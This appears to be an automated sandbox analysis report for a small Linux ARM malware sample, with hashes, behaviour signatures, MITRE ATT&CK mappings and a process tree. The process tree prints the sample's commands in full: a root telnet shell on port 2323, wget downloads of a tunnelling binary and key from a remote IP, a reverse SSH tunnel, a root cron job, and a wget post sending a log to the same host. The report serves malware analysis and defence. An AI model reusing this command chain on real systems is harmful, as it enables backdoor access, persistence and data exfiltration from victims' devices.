10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022

Analysis

max time kernel
144s
max time network
147s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/10/2026, 12:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x
Size 3KB
Sample261030-plagrayybw
SHA256 10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022
MD5 82d71e57d4ab5718bf86e94a3eeb6c44
SHA1 606dc101ab4646967cf42a10a6c0cb65383d705a
SHA512 01139d2b0493fc602004398cc179ad6e99a0893633247809db2ba433a40100629e3547aac219885cf1f79493a3e9a44d4ef76a951ce0161ca3e94d8704fab262
TLSH
T1657102E2896A15F1694DCE3FD12BA0FA19E7001B242939A731AD3674377C1ACD20CB27
MD5 SHA1 SHA512 TLSH

Score

7^/10

command_and_control defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
736	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/dbclient	780	x

Outbound SSH connection to public host 2 TTPs 1 IoCs

SSH is used for remote access. This may indicate SSH host discovery, encrypted C2 traffic, or data exfiltration.

command_and_control

Protocol Tunneling

T1572

Network Service Discovery

T1046

description	flow	ioc
SSH destination	3	209.38.118.65:22

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	x

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	dbclient

Enumerates running processes
Discovers information about currently running processes on the system

Reads system network configuration 1 TTPs 4 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/netstat	dbclient
File opened for reading	/proc/net/dev	dbclient
File opened for reading	/proc/net/tcp	dbclient
File opened for reading	/proc/net/rt_cache	dbclient

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/661/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/646/stat	killall
File opened for reading	/proc/10/stat	pidof
File opened for reading	/proc/18/cmdline	pidof
File opened for reading	/proc/22/cmdline	pidof
File opened for reading	/proc/654/stat	killall
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/312/stat	killall
File opened for reading	/proc/43/cmdline	pidof
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/43/stat	killall
File opened for reading	/proc/644/stat	killall
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/579/stat	killall
File opened for reading	/proc/661/stat	killall
File opened for reading	/proc/23/cmdline	pidof
File opened for reading	/proc/284/stat	pidof
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/634/stat	killall
File opened for reading	/proc/721/stat	killall
File opened for reading	/proc/1/stat	pidof
File opened for reading	/proc/9/cmdline	pidof
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/14/stat	pidof
File opened for reading	/proc/41/cmdline	pidof
File opened for reading	/proc/78/cmdline	pidof
File opened for reading	/proc/4/cmdline	pidof
File opened for reading	/proc/783/stat	pidof
File opened for reading	/proc/222/stat	killall
File opened for reading	/proc/721/cmdline	killall
File opened for reading	/proc/7/stat	pidof
File opened for reading	/proc/20/stat	pidof
File opened for reading	/proc/643/stat	pidof
File opened for reading	/proc/784/cmdline	pidof
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/644/stat	killall
File opened for reading	/proc/138/cmdline	pidof
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/149/cmdline	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/169/stat	killall
File opened for reading	/proc/99/cmdline	pidof
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/12/cmdline	pidof
File opened for reading	/proc/99/stat	pidof
File opened for reading	/proc/110/cmdline	killall
File opened for reading	/proc/635/stat	killall
File opened for reading	/proc/637/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/259/stat	killall
File opened for reading	/proc/582/stat	killall
File opened for reading	/proc/99/stat	killall
File opened for reading	/proc/6/stat	pidof
File opened for reading	/proc/19/stat	pidof
File opened for reading	/proc/29/stat	pidof

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	x
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/dbclient	wget
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/tunnel_key	wget
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/dbclient.log	x

/tmp/x
/tmp/x
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
PID:646
- /bin/date
  date
  2⤵
  PID:648
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:652
- /bin/mkdir
  mkdir -p /dev/pts
  2⤵
  PID:655
- /bin/mount
  mount -t devpts devpts /dev/pts
  2⤵
  PID:658
- /usr/bin/killall
  killall telnetd utelnetd
  2⤵
  - Reads runtime system information
  PID:665
- /bin/sleep
  sleep 1
  2⤵
  PID:671
- /bin/busybox
  busybox telnetd -l /bin/sh -p 2323
  2⤵
  PID:679
- /usr/sbin/utelnetd
  /usr/sbin/utelnetd -d -l /bin/sh -p 2323
  2⤵
  PID:680
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:682
- /bin/sleep
  sleep 1
  2⤵
  PID:683
- /bin/grep
  grep -q :2323
  2⤵
  PID:709
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/wget
  wget -O /tmp/dbclient http://209.38.118.65:8080/d824ef7079bc/ex7000/dbclient
  2⤵
  - Writes file to tmp directory
  PID:716
- /bin/chmod
  chmod +x /tmp/dbclient
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /bin/ls
  ls -l /tmp/dbclient
  2⤵
  PID:738
- /usr/bin/awk
  awk "{print \$5}"
  2⤵
  - Reads runtime system information
  PID:739
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:741
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:743
- /usr/bin/wget
  wget -O /tmp/tunnel_key http://209.38.118.65:8080/d824ef7079bc/ex7000/tunnel_key
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 600 /tmp/tunnel_key
  2⤵
  PID:756
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:759
- /usr/bin/killall
  killall dbclient
  2⤵
  - Reads runtime system information
  PID:760
- /bin/sleep
  sleep 2
  2⤵
  PID:763
- /bin/sleep
  sleep 3
  2⤵
  PID:781
- /tmp/dbclient
  /tmp/dbclient -N -y -y -R 2234:127.0.0.1:2323 -i /tmp/tunnel_key -p 22 -K 30 "[email protected]"
  2⤵
  - Enumerates active TCP sockets
  - Reads system network configuration
  PID:780
- /bin/pidof
  pidof dbclient
  2⤵
  - Reads runtime system information
  PID:784
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/mkdir
  mkdir -p /var/spool/cron/crontabs
  2⤵
  - Reads runtime system information
  PID:787
- /bin/cat
  cat
  2⤵
  PID:788
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:792

/usr/bin/wget
wget -q "--post-file=/tmp/persist.log" http://209.38.118.65:9999/
1⤵
PID:793

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Protocol Tunneling

T1572

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dbclient

Path /tmp/dbclient
Size 829KB
SHA256 0f393655fcbc439444772e9cb470da6ef3e7052b2fcc6dbf48700f5c1644365f
MD5 9e0ede2970d1ddab8a03f840f6ec7c53
SHA1 fc16b8b4efbb4af27aa405e522b1fa0b3d8e8f96
SHA512 6c20ee1093ceadcff0e64fd312c3db2f5e36742d8959132dabcc86295952b45653e080b8fb3f5832593e236ef4b503c0aa1ce9474fed555d4df17f723b4cbfc0
SSDEEP 12288:2DMIEzPLS4zAzLGbfonJl5rcV1/3HXdA519OOvqrctgp1h9Y:9vWEgGbwnSV1PNA/9ONrL
TLSH
T16D052955F880DFA1C6C029BAF75D86AC33134B79D3EB710689255B343BE786B0E3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 60B
SHA256 9dc28d7fe82e56b38b076074c67d2f0798d00a86b9b111738639f44ed480bf7e
MD5 8135f5bad7344ee2d7ccfce4ea6ced24
SHA1 34ef4908d1f4d3ab21927ed202b7b30bcf92eab6
SHA512 259c1247fececd33fbb43e5c1fb472980da70064f5dc9d3dd0180f3b9db59469c4949ae4d82e23eb95c0376c2b2c3dff8d3e31a3aae101dea519d3c1ca48edfe
TLSH
T145A0029980560078074D22CB9C214D255F5ED64C364E45B0AF26A86413810DB1F17130
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 97B
SHA256 26544c0c2c586e95e4f4175917067f9e27cea4e895c3c200944a475aeacb056d
MD5 7ba518411227ee445998ba6e9cdf0797
SHA1 f29dd449dc43c52a27d2c9887fd6b8b15e15a389
SHA512 d2371c138a9fa397dcd355a6dfa4eed07b35bfb4354d1d791ce34bc96bb9b37770674f0501d6d417bbe52f6f61618161f90bc34c04d36d2d0763a6dea22c571d
TLSH
T14CB01285401210FC473923C75C210D114F1E9308290D40A86E76971012454C64F47121
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 135B
SHA256 e930b2f0c65c626ae713a69c42f10dcb60c8e2c6a93e88fe4aabfe81ef961435
MD5 b1cb398709fc93b3f35f074e15efccb1
SHA1 273ac7e54e292ebd0c66502e93297c1e72d40466
SHA512 be7edd165bcb9293fddc3f3fa8456a0fa95ec8bce203923e079226fa2854f69ca938b4c07be8953e5474cff8b81780b323862087a9e2707a47930fdba4fa2e5f
TLSH
T15EC02BC8041200FD83B823C31C140D444F1EC304280C007C5EB6974002094C24F46051
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 163B
SHA256 b101880745413cd176440c561276607e9dba01882fd3da5f1a7592b12ec9caf4
MD5 5d1a01f8d65553db8bcb5ef6371260ad
SHA1 abdfb4eeb3aca069b79a6919a9ddbb1a469fce73
SHA512 0d9aec2b5dfc2e5d48d4c9952f634db719e763e29a0d5d0917b2cebd1249cd36f7a8e8d32d2733055f0fc25770b450f389533cae869a55a6132d11443c4ef762
TLSH
T1E6C08CCA041240FE96B823835C2A09844F6AD3142A0D60AC6EB69A4002295C2CF6A053
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 2KB
SHA256 1ab133b6a9117d6474ce0cbf2391588a721755fbd08a0bfd12f0e9c0e4b0169f
MD5 4bf6b161b6b94aff6066eff582e6f004
SHA1 b121d8dc8d17b93d3ec91676b45a06890a015bc1
SHA512 adf8fbc7d8f01e8ff75be02d186e6930f737a2310e9b58e103d579b882e0ec99f21998933045d28f2cad59fefe1d93dea165f84e0f5035f86edd4753891a90e4
TLSH
T1A14100D52A133DE85B5446A51D35C7704FA99D922BCE0C2C731E11D90FE31D4BBBAD42
MD5 SHA1 SHA512 TLSH

Submit Download

tunnel_key

Path /tmp/tunnel_key
Size 804B
SHA256 c46038426694798a71ec38d99a59473a478bd99ebcaedfaa1151aa39cc1f1226
MD5 b9e6970d3772f11502f0a70002c83ad6
SHA1 0c991cdfc4150970966834f2dc2640b73d29f121
SHA512 5a0eaec9ba105248b806b7339acb0eac5f37c85f37ae23e37b2911b8ead7815cbb65fae69dff85d3bd89d5aaae6c8b8e7ed1dc6c6a35fb632d845bc47ba9b09d
TLSH
T1F80186D9AA14C821EE193D33077107A12EF8C3085209FE0B7060EF165574070DB4C6D1
MD5 SHA1 SHA512 TLSH

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 392B
SHA256 34b2b8ff190e7c9c0c9ab33c69ae3326f8461567876b34bbad552b48813972ce
MD5 063933a51e620e947097be6414de0209
SHA1 80b5bc33679ad19ed2246bb681401d6224ce3d10
SHA512 8509d63ec8d716a5bde05a4b52f9ec5810b3c10ecf024c249ee14da00f32be2f13aeee6407e420b300451e6cad5791f6b9757e1f5f0a92c569129da86fa42d23
TLSH
T1C1E068F1832040F0A608C937E02E9CF2D8AA19350C1B35902CEF6764610C2C6F79DAB7
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads